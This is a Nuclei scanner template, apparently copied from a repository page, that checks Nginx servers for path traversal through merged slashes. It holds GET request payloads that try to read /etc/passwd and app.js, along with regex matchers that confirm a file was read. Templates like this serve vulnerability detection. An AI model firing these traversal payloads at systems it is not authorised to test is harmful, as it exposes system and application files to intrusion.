nuclei-templates/vulnerabilities/other/nginx-merge-slashes-path-tr...

40 lines
1.1 KiB
YAML
Raw Normal View History

id: nginx-merge-slashes-path-traversal
info:
name: Nginx Server - Local File Inclusion
author: dhiyaneshDk
severity: high
description: Nginx server is vulnerable to local file inclusion.
reference:
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
2021-07-23 21:55:22 +00:00
tags: exposure,config,lfi,nginx
requests:
- method: GET
path:
2021-07-23 21:55:22 +00:00
- "{{BaseURL}}///////../../../etc/passwd"
- "{{BaseURL}}/static///////../../../../etc/passwd"
- "{{BaseURL}}///../app.js"
stop-at-first-match: true
matchers-condition: and
matchers:
2021-07-23 21:55:22 +00:00
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
- "app.listen"
part: body
condition: or
- type: status
status:
- 200
# Enhanced by mp on 2022/07/27